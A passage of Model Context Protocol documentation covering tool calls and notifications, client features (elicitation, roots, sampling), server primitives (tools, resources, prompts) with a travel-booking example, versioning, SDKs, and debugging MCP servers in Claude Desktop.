+ } + ``` + + ```json Tool Call Response theme={null} + { + "jsonrpc": "2.0", + "id": 3, + "result": { + "content": [ + { + "type": "text", + "text": "Current weather in San Francisco: 68°F, partly cloudy with light winds from the west at 8 mph. Humidity: 65%" + } + ] + } + } + ``` + + + #### Key Elements of Tool Execution + + The request structure includes several important components: + + 1. **`name`**: Must match exactly the tool name from the discovery response (`weather_current`). This ensures the server can correctly identify which tool to execute. + + 2. **`arguments`**: Contains the input parameters as defined by the tool's `inputSchema`. In this example: + * `location`: "San Francisco" (required parameter) + * `units`: "imperial" (optional parameter, defaults to "metric" if not specified) + + 3. **JSON-RPC Structure**: Uses standard JSON-RPC 2.0 format with unique `id` for request-response correlation. + + #### Understanding the Tool Execution Response + + The response demonstrates MCP's flexible content system: + + 1. **`content` Array**: Tool responses return an array of content objects, allowing for rich, multi-format responses (text, images, resources, etc.) + + 2. **Content Types**: Each content object has a `type` field. In this example, `"type": "text"` indicates plain text content, but MCP supports various content types for different use cases. + + 3. **Structured Output**: The response provides actionable information that the AI application can use as context for language model interactions. + + This execution pattern allows AI applications to dynamically invoke server functionality and receive structured responses that can be integrated into conversations with language models. + + #### How This Works in AI Applications + + When the language model decides to use a tool during a conversation, the AI application intercepts the tool call, routes it to the appropriate MCP server, executes it, and returns the results back to the LLM as part of the conversation flow. This enables the LLM to access real-time data and perform actions in the external world. + + ```python theme={null} + # Pseudo-code for AI application tool execution + async def handle_tool_call(conversation, tool_name, arguments): + session = app.find_mcp_session_for_tool(tool_name) + result = await session.call_tool(tool_name, arguments) + conversation.add_tool_result(result.content) + ``` + + + + MCP supports real-time notifications that enable servers to inform clients about changes without being explicitly requested. This demonstrates the notification system, a key feature that keeps MCP connections synchronized and responsive. + + #### Understanding Tool List Change Notifications + + When the server's available tools change—such as when new functionality becomes available, existing tools are modified, or tools become temporarily unavailable—the server can proactively notify connected clients: + + ```json Request theme={null} + { + "jsonrpc": "2.0", + "method": "notifications/tools/list_changed" + } + ``` + + #### Key Features of MCP Notifications + + 1. **No Response Required**: Notice there's no `id` field in the notification. This follows JSON-RPC 2.0 notification semantics where no response is expected or sent. + + 2. **Capability-Based**: This notification is only sent by servers that declared `"listChanged": true` in their tools capability during initialization (as shown in Step 1). + + 3. **Event-Driven**: The server decides when to send notifications based on internal state changes, making MCP connections dynamic and responsive. + + #### Client Response to Notifications + + Upon receiving this notification, the client typically reacts by requesting the updated tool list. This creates a refresh cycle that keeps the client's understanding of available tools current: + + ```json Request theme={null} + { + "jsonrpc": "2.0", + "id": 4, + "method": "tools/list" + } + ``` + + #### Why Notifications Matter + + This notification system is crucial for several reasons: + + 1. **Dynamic Environments**: Tools may come and go based on server state, external dependencies, or user permissions + 2. **Efficiency**: Clients don't need to poll for changes; they're notified when updates occur + 3. **Consistency**: Ensures clients always have accurate information about available server capabilities + 4. **Real-time Collaboration**: Enables responsive AI applications that can adapt to changing contexts + + This notification pattern extends beyond tools to other MCP primitives, enabling comprehensive real-time synchronization between clients and servers. + + #### How This Works in AI Applications + + When the AI application receives a notification about changed tools, it immediately refreshes its tool registry and updates the LLM's available capabilities. This ensures that ongoing conversations always have access to the most current set of tools, and the LLM can dynamically adapt to new functionality as it becomes available. + + ```python theme={null} + # Pseudo-code for AI application notification handling + async def handle_tools_changed_notification(session): + tools_response = await session.list_tools() + app.update_available_tools(session, tools_response.tools) + if app.conversation.is_active(): + app.conversation.notify_llm_of_new_capabilities() + ``` + + + + +# Understanding MCP clients +Source: https://modelcontextprotocol.io/docs/learn/client-concepts + + + +MCP clients are instantiated by host applications to communicate with particular MCP servers. The host application, like Claude.ai or an IDE, manages the overall user experience and coordinates multiple clients. Each client handles one direct communication with one server. + +Understanding the distinction is important: the *host* is the application users interact with, while *clients* are the protocol-level components that enable server connections. + +## Core Client Features + +In addition to making use of context provided by servers, clients may provide several features to servers. These client features allow server authors to build richer interactions. + +| Feature | Explanation | Example | +| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------- | +| **Elicitation** | Elicitation enables servers to request specific information from users during interactions, providing a structured way for servers to gather information on demand. | A server booking travel may ask for the user's preferences on airplane seats, room type or their contact number to finalise a booking. | +| **Roots** | Roots allow clients to specify which directories servers should focus on, communicating intended scope through a coordination mechanism. | A server for booking travel may be given access to a specific directory, from which it can read a user's calendar. | +| **Sampling** | Sampling allows servers to request LLM completions through the client, enabling an agentic workflow. This approach puts the client in complete control of user permissions and security measures. | A server for booking travel may send a list of flights to an LLM and request that the LLM pick the best flight for the user. | + +### Elicitation + +Elicitation enables servers to request specific information from users during interactions, creating more dynamic and responsive workflows. + +#### Overview + +Elicitation provides a structured way for servers to gather necessary information on demand. Instead of requiring all information up front or failing when data is missing, servers can pause their operations to request specific inputs from users. This creates more flexible interactions where servers adapt to user needs rather than following rigid patterns. + +**Elicitation flow:** + +```mermaid theme={null} +sequenceDiagram + participant User + participant Client + participant Server + + Note over Server,Client: Server initiates elicitation + Server->>Client: elicitation/create + + Note over Client,User: Human interaction + Client->>User: Present elicitation UI + User-->>Client: Provide requested information + + Note over Server,Client: Complete request + Client-->>Server: Return user response + + Note over Server: Continue processing with new information +``` + +The flow enables dynamic information gathering. Servers can request specific data when needed, users provide information through appropriate UI, and servers continue processing with the newly acquired context. + +**Elicitation components example:** + +```typescript theme={null} +{ + method: "elicitation/requestInput", + params: { + message: "Please confirm your Barcelona vacation booking details:", + schema: { + type: "object", + properties: { + confirmBooking: { + type: "boolean", + description: "Confirm the booking (Flights + Hotel = $3,000)" + }, + seatPreference: { + type: "string", + enum: ["window", "aisle", "no preference"], + description: "Preferred seat type for flights" + }, + roomType: { + type: "string", + enum: ["sea view", "city view", "garden view"], + description: "Preferred room type at hotel" + }, + travelInsurance: { + type: "boolean", + default: false, + description: "Add travel insurance ($150)" + } + }, + required: ["confirmBooking"] + } + } +} +``` + +#### Example: Holiday Booking Approval + +A travel booking server demonstrates elicitation's power through the final booking confirmation process. When a user has selected their ideal vacation package to Barcelona, the server needs to gather final approval and any missing details before proceeding. + +The server elicits booking confirmation with a structured request that includes the trip summary (Barcelona flights June 15-22, beachfront hotel, total \$3,000) and fields for any additional preferences—such as seat selection, room type, or travel insurance options. + +As the booking progresses, the server elicits contact information needed to complete the reservation. It might ask for traveler details for flight bookings, special requests for the hotel, or emergency contact information. + +#### User Interaction Model + +Elicitation interactions are designed to be clear, contextual, and respectful of user autonomy: + +**Request presentation**: Clients display elicitation requests with clear context about which server is asking, why the information is needed, and how it will be used. The request message explains the purpose while the schema provides structure and validation. + +**Response options**: Users can provide the requested information through appropriate UI controls (text fields, dropdowns, checkboxes), decline to provide information with optional explanation, or cancel the entire operation. Clients validate responses against the provided schema before returning them to servers. + +**Privacy considerations**: Elicitation never requests passwords or API keys. Clients warn about suspicious requests and let users review data before sending. + +### Roots + +Roots define filesystem boundaries for server operations, allowing clients to specify which directories servers should focus on. + +#### Overview + +Roots are a mechanism for clients to communicate filesystem access boundaries to servers. They consist of file URIs that indicate directories where servers can operate, helping servers understand the scope of available files and folders. While roots communicate intended boundaries, they do not enforce security restrictions. Actual security must be enforced at the operating system level, via file permissions and/or sandboxing. + +**Root structure:** + +```json theme={null} +{ + "uri": "file:///Users/agent/travel-planning", + "name": "Travel Planning Workspace" +} +``` + +Roots are exclusively filesystem paths and always use the `file://` URI scheme. They help servers understand project boundaries, workspace organization, and accessible directories. The roots list can be updated dynamically as users work with different projects or folders, with servers receiving notifications through `roots/list_changed` when boundaries change. + +#### Example: Travel Planning Workspace + +A travel agent working with multiple client trips benefits from roots to organize filesystem access. Consider a workspace with different directories for various aspects of travel planning. + +The client provides filesystem roots to the travel planning server: + +* `file:///Users/agent/travel-planning` - Main workspace containing all travel files +* `file:///Users/agent/travel-templates` - Reusable itinerary templates and resources +* `file:///Users/agent/client-documents` - Client passports and travel documents + +When the agent creates a Barcelona itinerary, well-behaved servers respect these boundaries—accessing templates, saving the new itinerary, and referencing client documents within the specified roots. Servers typically access files within roots by using relative paths from the root directories or by utilizing file search tools that respect the root boundaries. + +If the agent opens an archive folder like `file:///Users/agent/archive/2023-trips`, the client updates the roots list via `roots/list_changed`. + +For a complete implementation of a server that respects roots, see the [filesystem server](https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem) in the official servers repository. + +#### Design Philosophy + +Roots serve as a coordination mechanism between clients and servers, not a security boundary. The specification requires that servers "SHOULD respect root boundaries," and not that they "MUST enforce" them, because servers run code the client cannot control. + +Roots work best when servers are trusted or vetted, users understand their advisory nature, and the goal is preventing accidents rather than stopping malicious behavior. They excel at context scoping (telling servers where to focus), accident prevention (helping well-behaved servers stay in bounds), and workflow organization (such as managing project boundaries automatically). + +#### User Interaction Model + +Roots are typically managed automatically by host applications based on user actions, though some applications may expose manual root management: + +**Automatic root detection**: When users open folders, clients automatically expose them as roots. Opening a travel workspace allows the client to expose that directory as a root, helping servers understand which itineraries and documents are in scope for the current work. + +**Manual root configuration**: Advanced users can specify roots through configuration. For example, adding `/travel-templates` for reusable resources while excluding directories with financial records. + +### Sampling + +Sampling allows servers to request language model completions through the client, enabling agentic behaviors while maintaining security and user control. + +#### Overview + +Sampling enables servers to perform AI-dependent tasks without directly integrating with or paying for AI models. Instead, servers can request that the client—which already has AI model access—handle these tasks on their behalf. This approach puts the client in complete control of user permissions and security measures. Because sampling requests occur within the context of other operations—like a tool analyzing data—and are processed as separate model calls, they maintain clear boundaries between different contexts, allowing for more efficient use of the context window. + +**Sampling flow:** + +```mermaid theme={null} +sequenceDiagram + participant LLM + participant User + participant Client + participant Server + + Note over Server,Client: Server initiates sampling + Server->>Client: sampling/createMessage + + Note over Client,User: Human-in-the-loop review + Client->>User: Present request for approval + User-->>Client: Review and approve/modify + + Note over Client,LLM: Model interaction + Client->>LLM: Forward approved request + LLM-->>Client: Return generation + + Note over Client,User: Response review + Client->>User: Present response for approval + User-->>Client: Review and approve/modify + + Note over Server,Client: Complete request + Client-->>Server: Return approved response +``` + +The flow ensures security through multiple human-in-the-loop checkpoints. Users review and can modify both the initial request and the generated response before it returns to the server. + +**Request parameters example:** + +```typescript theme={null} +{ + messages: [ + { + role: "user", + content: "Analyze these flight options and recommend the best choice:\n" + + "[47 flights with prices, times, airlines, and layovers]\n" + + "User preferences: morning departure, max 1 layover" + } + ], + modelPreferences: { + hints: [{ + name: "claude-sonnet-4-20250514" // Suggested model + }], + costPriority: 0.3, // Less concerned about API cost + speedPriority: 0.2, // Can wait for thorough analysis + intelligencePriority: 0.9 // Need complex trade-off evaluation + }, + systemPrompt: "You are a travel expert helping users find the best flights based on their preferences", + maxTokens: 1500 +} +``` + +#### Example: Flight Analysis Tool + +Consider a travel booking server with a tool called `findBestFlight` that uses sampling to analyze available flights and recommend the optimal choice. When a user asks "Book me the best flight to Barcelona next month," the tool needs AI assistance to evaluate complex trade-offs. + +The tool queries airline APIs and gathers 47 flight options. It then requests AI assistance to analyze these options: "Analyze these flight options and recommend the best choice: \[47 flights with prices, times, airlines, and layovers] User preferences: morning departure, max 1 layover." + +The client initiates the sampling request, allowing the AI to evaluate trade-offs—like cheaper red-eye flights versus convenient morning departures. The tool uses this analysis to present the top three recommendations. + +#### User Interaction Model + +While not a requirement, sampling is designed to allow human-in-the-loop control. Users can maintain oversight through several mechanisms: + +**Approval controls**: Sampling requests may require explicit user consent. Clients can show what the server wants to analyze and why. Users can approve, deny, or modify requests. + +**Transparency features**: Clients can display the exact prompt, model selection, and token limits, allowing users to review AI responses before they return to the server. + +**Configuration options**: Users can set model preferences, configure auto-approval for trusted operations, or require approval for everything. Clients may provide options to redact sensitive information. + +**Security considerations**: Both clients and servers must handle sensitive data appropriately during sampling. Clients should implement rate limiting and validate all message content. The human-in-the-loop design ensures that server-initiated AI interactions cannot compromise security or access sensitive data without explicit user consent. + + +# Understanding MCP servers +Source: https://modelcontextprotocol.io/docs/learn/server-concepts + + + +MCP servers are programs that expose specific capabilities to AI applications through standardized protocol interfaces. + +Common examples include file system servers for document access, database servers for data queries, GitHub servers for code management, Slack servers for team communication, and calendar servers for scheduling. + +## Core Server Features + +Servers provide functionality through three building blocks: + +| Feature | Explanation | Examples | Who controls it | +| ------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------ | --------------- | +| **Tools** | Functions that your LLM can actively call, and decides when to use them based on user requests. Tools can write to databases, call external APIs, modify files, or trigger other logic. | Search flights
Send messages
Create calendar events | Model | +| **Resources** | Passive data sources that provide read-only access to information for context, such as file contents, database schemas, or API documentation. | Retrieve documents
Access knowledge bases
Read calendars | Application | +| **Prompts** | Pre-built instruction templates that tell the model to work with specific tools and resources. | Plan a vacation
Summarize my meetings
Draft an email | User | + +We will use a hypothetical scenario to demonstrate the role of each of these features, and show how they can work together. + +### Tools + +Tools enable AI models to perform actions. Each tool defines a specific operation with typed inputs and outputs. The model requests tool execution based on context. + +#### How Tools Work + +Tools are schema-defined interfaces that LLMs can invoke. MCP uses JSON Schema for validation. Each tool performs a single operation with clearly defined inputs and outputs. Tools may require user consent prior to execution, helping to ensure users maintain control over actions taken by a model. + +**Protocol operations:** + +| Method | Purpose | Returns | +| ------------ | ------------------------ | -------------------------------------- | +| `tools/list` | Discover available tools | Array of tool definitions with schemas | +| `tools/call` | Execute a specific tool | Tool execution result | + +**Example tool definition:** + +```typescript theme={null} +{ + name: "searchFlights", + description: "Search for available flights", + inputSchema: { + type: "object", + properties: { + origin: { type: "string", description: "Departure city" }, + destination: { type: "string", description: "Arrival city" }, + date: { type: "string", format: "date", description: "Travel date" } + }, + required: ["origin", "destination", "date"] + } +} +``` + +#### Example: Travel Booking + +Tools enable AI applications to perform actions on behalf of users. In a travel planning scenario, the AI application might use several tools to help book a vacation: + +**Flight Search** + +``` +searchFlights(origin: "NYC", destination: "Barcelona", date: "2024-06-15") +``` + +Queries multiple airlines and returns structured flight options. + +**Calendar Blocking** + +``` +createCalendarEvent(title: "Barcelona Trip", startDate: "2024-06-15", endDate: "2024-06-22") +``` + +Marks the travel dates in the user's calendar. + +**Email notification** + +``` +sendEmail(to: "team@work.com", subject: "Out of Office", body: "...") +``` + +Sends an automated out-of-office message to colleagues. + +#### User Interaction Model + +Tools are model-controlled, meaning AI models can discover and invoke them automatically. However, MCP emphasizes human oversight through several mechanisms. + +For trust and safety, applications can implement user control through various mechanisms, such as: + +* Displaying available tools in the UI, enabling users to define whether a tool should be made available in specific interactions +* Approval dialogs for individual tool executions +* Permission settings for pre-approving certain safe operations +* Activity logs that show all tool executions with their results + +### Resources + +Resources provide structured access to information that the AI application can retrieve and provide to models as context. + +#### How Resources Work + +Resources expose data from files, APIs, databases, or any other source that an AI needs to understand context. Applications can access this information directly and decide how to use it - whether that's selecting relevant portions, searching with embeddings, or passing it all to the model. + +Each resource has a unique URI (e.g., `file:///path/to/document.md`) and declares its MIME type for appropriate content handling. + +Resources support two discovery patterns: + +* **Direct Resources** - fixed URIs that point to specific data. Example: `calendar://events/2024` - returns calendar availability for 2024 +* **Resource Templates** - dynamic URIs with parameters for flexible queries. Example: + * `travel://activities/{city}/{category}` - returns activities by city and category + * `travel://activities/barcelona/museums` - returns all museums in Barcelona + +Resource Templates include metadata such as title, description, and expected MIME type, making them discoverable and self-documenting. + +**Protocol operations:** + +| Method | Purpose | Returns | +| -------------------------- | ------------------------------- | -------------------------------------- | +| `resources/list` | List available direct resources | Array of resource descriptors | +| `resources/templates/list` | Discover resource templates | Array of resource template definitions | +| `resources/read` | Retrieve resource contents | Resource data with metadata | +| `resources/subscribe` | Monitor resource changes | Subscription confirmation | + +#### Example: Getting Travel Planning Context + +Continuing with the travel planning example, resources provide the AI application with access to relevant information: + +* **Calendar data** (`calendar://events/2024`) - Checks user availability +* **Travel documents** (`file:///Documents/Travel/passport.pdf`) - Accesses important documents +* **Previous itineraries** (`trips://history/barcelona-2023`) - References past trips and preferences + +The AI application retrieves these resources and decides how to process them, whether selecting a subset of data using embeddings or keyword search, or passing raw data directly to the model. + +In this case, it provides calendar data, weather information, and travel preferences to the model, enabling it to check availability, look up weather patterns, and reference past travel preferences. + +**Resource Template Examples:** + +```json theme={null} +{ + "uriTemplate": "weather://forecast/{city}/{date}", + "name": "weather-forecast", + "title": "Weather Forecast", + "description": "Get weather forecast for any city and date", + "mimeType": "application/json" +} + +{ + "uriTemplate": "travel://flights/{origin}/{destination}", + "name": "flight-search", + "title": "Flight Search", + "description": "Search available flights between cities", + "mimeType": "application/json" +} +``` + +These templates enable flexible queries. For weather data, users can access forecasts for any city/date combination. For flights, they can search routes between any two airports. When a user has input "NYC" as the `origin` airport and begins to input "Bar" as the `destination` airport, the system can suggest "Barcelona (BCN)" or "Barbados (BGI)". + +#### Parameter Completion + +Dynamic resources support parameter completion. For example: + +* Typing "Par" as input for `weather://forecast/{city}` might suggest "Paris" or "Park City" +* Typing "JFK" for `flights://search/{airport}` might suggest "JFK - John F. Kennedy International" + +The system helps discover valid values without requiring exact format knowledge. + +#### User Interaction Model + +Resources are application-driven, giving them flexibility in how they retrieve, process, and present available context. Common interaction patterns include: + +* Tree or list views for browsing resources in familiar folder-like structures +* Search and filter interfaces for finding specific resources +* Automatic context inclusion or smart suggestions based on heuristics or AI selection +* Manual or bulk selection interfaces for including single or multiple resources + +Applications are free to implement resource discovery through any interface pattern that suits their needs. The protocol doesn't mandate specific UI patterns, allowing for resource pickers with preview capabilities, smart suggestions based on current conversation context, bulk selection for including multiple resources, or integration with existing file browsers and data explorers. + +### Prompts + +Prompts provide reusable templates. They allow MCP server authors to provide parameterized prompts for a domain, or showcase how to best use the MCP server. + +#### How Prompts Work + +Prompts are structured templates that define expected inputs and interaction patterns. They are user-controlled, requiring explicit invocation rather than automatic triggering. Prompts can be context-aware, referencing available resources and tools to create comprehensive workflows. Similar to resources, prompts support parameter completion to help users discover valid argument values. + +**Protocol operations:** + +| Method | Purpose | Returns | +| -------------- | -------------------------- | ------------------------------------- | +| `prompts/list` | Discover available prompts | Array of prompt descriptors | +| `prompts/get` | Retrieve prompt details | Full prompt definition with arguments | + +#### Example: Streamlined Workflows + +Prompts provide structured templates for common tasks. In the travel planning context: + +**"Plan a vacation" prompt:** + +```json theme={null} +{ + "name": "plan-vacation", + "title": "Plan a vacation", + "description": "Guide through vacation planning process", + "arguments": [ + { "name": "destination", "type": "string", "required": true }, + { "name": "duration", "type": "number", "description": "days" }, + { "name": "budget", "type": "number", "required": false }, + { "name": "interests", "type": "array", "items": { "type": "string" } } + ] +} +``` + +Rather than unstructured natural language input, the prompt system enables: + +1. Selection of the "Plan a vacation" template +2. Structured input: Barcelona, 7 days, \$3000, \["beaches", "architecture", "food"] +3. Consistent workflow execution based on the template + +#### User Interaction Model + +Prompts are user-controlled, requiring explicit invocation. The protocol gives implementers freedom to design interfaces that feel natural within their application. Key principles include: + +* Easy discovery of available prompts +* Clear descriptions of what each prompt does +* Natural argument input with validation +* Transparent display of the prompt's underlying template + +Applications typically expose prompts through various UI patterns such as: + +* Slash commands (typing "/" to see available prompts like /plan-vacation) +* Command palettes for searchable access +* Dedicated UI buttons for frequently used prompts +* Context menus that suggest relevant prompts + +## Bringing Servers Together + +The real power of MCP emerges when multiple servers work together, combining their specialized capabilities through a unified interface. + +### Example: Multi-Server Travel Planning + +Consider a personalized AI travel planner application, with three connected servers: + +* **Travel Server** - Handles flights, hotels, and itineraries +* **Weather Server** - Provides climate data and forecasts +* **Calendar/Email Server** - Manages schedules and communications + +#### The Complete Flow + +1. **User invokes a prompt with parameters:** + + ```json theme={null} + { + "prompt": "plan-vacation", + "arguments": { + "destination": "Barcelona", + "departure_date": "2024-06-15", + "return_date": "2024-06-22", + "budget": 3000, + "travelers": 2 + } + } + ``` + +2. **User selects resources to include:** + * `calendar://my-calendar/June-2024` (from Calendar Server) + * `travel://preferences/europe` (from Travel Server) + * `travel://past-trips/Spain-2023` (from Travel Server) + +3. **AI processes the request using tools:** + + The AI first reads all selected resources to gather context - identifying available dates from the calendar, learning preferred airlines and hotel types from travel preferences, and discovering previously enjoyed locations from past trips. + + Using this context, the AI then executes a series of Tools: + + * `searchFlights()` - Queries airlines for NYC to Barcelona flights + * `checkWeather()` - Retrieves climate forecasts for travel dates + + The AI then uses this information to create the booking and following steps, requesting approval from the user where necessary: + + * `bookHotel()` - Finds hotels within the specified budget + * `createCalendarEvent()` - Adds the trip to the user's calendar + * `sendEmail()` - Sends confirmation with trip details + +**The result:** Through multiple MCP servers, the user researched and booked a Barcelona trip tailored to their schedule. The "Plan a Vacation" prompt guided the AI to combine Resources (calendar availability and travel history) with Tools (searching flights, booking hotels, updating calendars) across different servers—gathering context and executing the booking. A task that could have taken hours was completed in minutes using MCP. + + +# Versioning +Source: https://modelcontextprotocol.io/docs/learn/versioning + + + +The Model Context Protocol uses string-based version identifiers following the format +`YYYY-MM-DD`, to indicate the last date backwards incompatible changes were made. + + + The protocol version will *not* be incremented when the + protocol is updated, as long as the changes maintain backwards compatibility. This allows + for incremental improvements while preserving interoperability. + + +## Revisions + +Revisions may be marked as: + +* **Draft**: in-progress specifications, not yet ready for consumption. +* **Current**: the current protocol version, which is ready for use and may continue to + receive backwards compatible changes. +* **Final**: past, complete specifications that will not be changed. + +The **current** protocol version is [**2025-11-25**](/specification/2025-11-25/). + +## Negotiation + +Version negotiation happens during +[initialization](/specification/latest/basic/lifecycle#initialization). Clients and +servers **MAY** support multiple protocol versions simultaneously, but they **MUST** +agree on a single version to use for the session. + +The protocol provides appropriate error handling if version negotiation fails, allowing +clients to gracefully terminate connections when they cannot find a version compatible +with the server. + + +# SDKs +Source: https://modelcontextprotocol.io/docs/sdk + +Official SDKs for building with Model Context Protocol + +Build MCP servers and clients using our official SDKs. SDKs are classified into tiers based on feature completeness, protocol support, and maintenance commitment. Learn more about [SDK tiers](/community/sdk-tiers). + +## Available SDKs + +| SDK | Repository | Tier | +| :------------------------------------------------------------------------------- | :-------------------------------------------------------------------------------------------- | --------------------: | +|   [TypeScript](https://ts.sdk.modelcontextprotocol.io) | [modelcontextprotocol/typescript-sdk](https://github.com/modelcontextprotocol/typescript-sdk) | Tier 1 | +|   [Python](https://py.sdk.modelcontextprotocol.io) | [modelcontextprotocol/python-sdk](https://github.com/modelcontextprotocol/python-sdk) | Tier 1 | +|   [C#](https://csharp.sdk.modelcontextprotocol.io) | [modelcontextprotocol/csharp-sdk](https://github.com/modelcontextprotocol/csharp-sdk) | Tier 1 | +|   [Go](https://go.sdk.modelcontextprotocol.io) | [modelcontextprotocol/go-sdk](https://github.com/modelcontextprotocol/go-sdk) | Tier 1 | +|   [Java](https://java.sdk.modelcontextprotocol.io) | [modelcontextprotocol/java-sdk](https://github.com/modelcontextprotocol/java-sdk) | Tier 2 | +|   [Rust](https://rust.sdk.modelcontextprotocol.io) | [modelcontextprotocol/rust-sdk](https://github.com/modelcontextprotocol/rust-sdk) | Tier 2 | +|   Swift | [modelcontextprotocol/swift-sdk](https://github.com/modelcontextprotocol/swift-sdk) | Tier 3 | +|   [Ruby](https://ruby.sdk.modelcontextprotocol.io) | [modelcontextprotocol/ruby-sdk](https://github.com/modelcontextprotocol/ruby-sdk) | Tier 3 | +|   [PHP](https://php.sdk.modelcontextprotocol.io) | [modelcontextprotocol/php-sdk](https://github.com/modelcontextprotocol/php-sdk) | Tier 3 | +|   [Kotlin](https://kotlin.sdk.modelcontextprotocol.io) | [modelcontextprotocol/kotlin-sdk](https://github.com/modelcontextprotocol/kotlin-sdk) | TBD | + +See [SDK Tiering System](/community/sdk-tiers) for details on what each tier means. + +## Getting Started + +Each SDK provides the same functionality but follows the idioms and best practices of its language. All SDKs support: + +* Creating MCP servers that expose tools, resources, and prompts +* Building MCP clients that can connect to any MCP server +* Local and remote transport protocols +* Protocol compliance with type safety + +Visit the SDK page for your chosen language to find installation instructions, documentation, and examples. + +## Next Steps + +Ready to start building with MCP? Choose your path: + + + + Learn how to create your first MCP server + + + + Create applications that connect to MCP servers + + + + +# Debugging +Source: https://modelcontextprotocol.io/docs/tools/debugging + +A comprehensive guide to debugging Model Context Protocol (MCP) integrations + +Effective debugging is essential when developing MCP servers or integrating +them with applications. This guide covers the debugging tools and approaches +available in the MCP ecosystem. + +## Debugging tools overview + +MCP provides several tools for debugging at different levels: + +1. **[MCP Inspector](/docs/tools/inspector)**: interactive, transport-agnostic + testing UI. Connect to stdio or Streamable HTTP servers, invoke + [tools](/specification/latest/server/tools), + [prompts](/specification/latest/server/prompts), and + [resources](/specification/latest/server/resources), and watch the + notification stream. This should be your first stop. +2. **Server logging**: structured logs to stderr (stdio transport) or via + [`notifications/message`](/specification/latest/server/utilities/logging#log-message-notifications) + (all transports). +3. **Client developer tools**: most MCP clients expose logs and connection + state. See [Debugging in Claude Desktop](#debugging-in-claude-desktop) + below for one example, or consult your client's documentation. + +## Implementing logging + +### Server-side logging + +When building a server that uses the local +[stdio transport](/specification/latest/basic/transports#stdio), all messages +logged to stderr (standard error) will be captured by the host application +automatically. + + + Local MCP servers should not log messages to stdout (standard out), as this + will interfere with protocol operation. + + +For servers using the +[Streamable HTTP transport](/specification/latest/basic/transports#streamable-http), +stderr is not captured by the client. Use the log message notifications below, +your own server-side log aggregation, or standard HTTP tooling (curl, browser +DevTools Network panel) to inspect requests, +[`Mcp-Session-Id` headers](/specification/latest/basic/transports#session-management), +and SSE streams. + +For all [transports](/specification/latest/basic/transports), you can also +provide logging to the client by sending a log message notification: + + + ```python Python theme={null} + @server.tool() + async def my_tool(ctx: Context) -> str: + await ctx.session.send_log_message( + level="info", + data="Server started successfully", + ) + return "done" + ``` + + ```typescript TypeScript theme={null} + await server.sendLoggingMessage({ + level: "info", + data: "Server started successfully", + }); + ``` + + +MCP defines eight +[RFC 5424 severity levels](/specification/latest/server/utilities/logging#log-levels) +(`debug` through `emergency`). Clients can adjust the minimum level at runtime +via the +[`logging/setLevel`](/specification/latest/server/utilities/logging#setting-log-level) +request. + +Important events to log: + +* Initialization steps +* Resource access +* Tool execution +* Error conditions +* Performance metrics + +## Common issues + +The examples below use Claude Desktop's +[`claude_desktop_config.json`](/docs/develop/connect-local-servers); the same +principles apply to any stdio-based MCP client. + +### Working directory + +When an MCP client launches a stdio server: + +* The working directory for servers launched via the client's config may be + undefined (like `/` on macOS) since the client could be started from + anywhere +* Always use absolute paths in your configuration and `.env` files to ensure + reliable operation +* For testing servers directly via command line, the working directory will be + where you run the command + +For example in `claude_desktop_config.json`, use: + +```json theme={null} +{ + "mcpServers": { + "filesystem": { + "command": "npx", + "args": [ + "-y", + "@modelcontextprotocol/server-filesystem", + "/Users/username/data" + ] + } + } +} +``` + +Instead of relative paths like `./data` + +### Environment variables + +MCP servers launched over stdio inherit only a limited subset of environment +variables automatically (the exact set is platform-dependent). + +To override the default variables or provide your own, you can specify an +`env` key in `claude_desktop_config.json`: + +```json theme={null} +{ + "mcpServers": { + "myserver": { + "command": "mcp-server-myapp", + "env": { + "MYAPP_API_KEY": "some_key" + } + } + } +} +``` + +### Server initialization + +Common initialization problems: + +1. **Path Issues** + * Incorrect server executable path + * Missing required files + * Permission problems + * Try using an absolute path for `command` + +2. **Configuration Errors** + * Invalid JSON syntax + * Missing required fields + * Type mismatches + +3. **Environment Problems** + * Missing environment variables + * Incorrect variable values + * Permission restrictions + +### Connection problems + +When servers fail to connect: + +1. Check client logs +2. Verify server process is running +3. Test standalone with [Inspector](/docs/tools/inspector) +4. Verify + [protocol compatibility](/specification/latest/basic/lifecycle#version-negotiation) +5. Check + [capability negotiation](/specification/latest/basic/lifecycle#capability-negotiation): + error [`-32602`](/specification/latest/basic/lifecycle#error-handling) is + the standard JSON-RPC "Invalid params" code and is returned in many + contexts. One common cause is a server sending + [sampling](/specification/latest/client/sampling) or + [elicitation](/specification/latest/client/elicitation) requests to a + client that hasn't declared that capability. Inspect the + [`initialize` exchange](/specification/latest/basic/lifecycle#initialization) + to verify both sides declared what you expect + +## Debugging in Claude Desktop + +Claude Desktop is [one of many MCP clients](/clients). It is available on +macOS and Windows. + +### Checking server status + +Click the "Add files, connectors, and more" plus icon in the chat input, then +hover over the **Connectors** menu to see connected servers and available +tools. + +Available MCP tools + +### Viewing logs + +Log files are written to: + +* macOS: `~/Library/Logs/Claude` +* Windows: `%APPDATA%\Claude\logs` + + + ```bash macOS theme={null} + tail -n 20 -F ~/Library/Logs/Claude/mcp*.log + ``` + + ```powershell Windows theme={null} + type "$env:AppData\Claude\logs\mcp*.log" + ``` + + +The logs capture: + +* Server connection events +* Configuration issues +* Runtime errors +* Message exchanges + +### Using Chrome DevTools + +Access Chrome's developer tools inside Claude Desktop to investigate +client-side errors: + +1. Create a `developer_settings.json` file with `allowDevTools` set to true: + + + ```bash macOS theme={null} + echo '{"allowDevTools": true}' > ~/Library/Application\ Support/Claude/developer_settings.json + ``` + + ```powershell Windows theme={null} + '{"allowDevTools": true}' | Set-Content "$env:AppData\Claude\developer_settings.json" + ``` + + +2. Open DevTools: `Command-Option-I` (macOS) or `Ctrl+Alt+I` (Windows) + +Note: You'll see two DevTools windows: + +* Main content window +* App title bar window + +Use the Console panel to inspect client-side errors. + +Use the Network panel to inspect: + +* Message payloads +* Connection timing + +## Debugging workflow + +### Development cycle + +1. Initial Development + * Use [Inspector](/docs/tools/inspector) for basic testing + * Implement core functionality + * Add logging points + +2. Integration Testing + * Test in your target MCP client + * Monitor logs + * Check error handling + +### Testing changes + +To test changes efficiently: + +* **Configuration changes**: Restart the MCP client +* **Server code changes**: Restart the client (for Claude Desktop, fully quit + and reopen; closing the window is not enough) +* **Quick iteration**: Use [Inspector](/docs/tools/inspector) during + development + +## Best practices + +### Logging strategy + +1. **Structured Logging** + * Use consistent formats + * Include context + * Add timestamps + * Track request IDs + 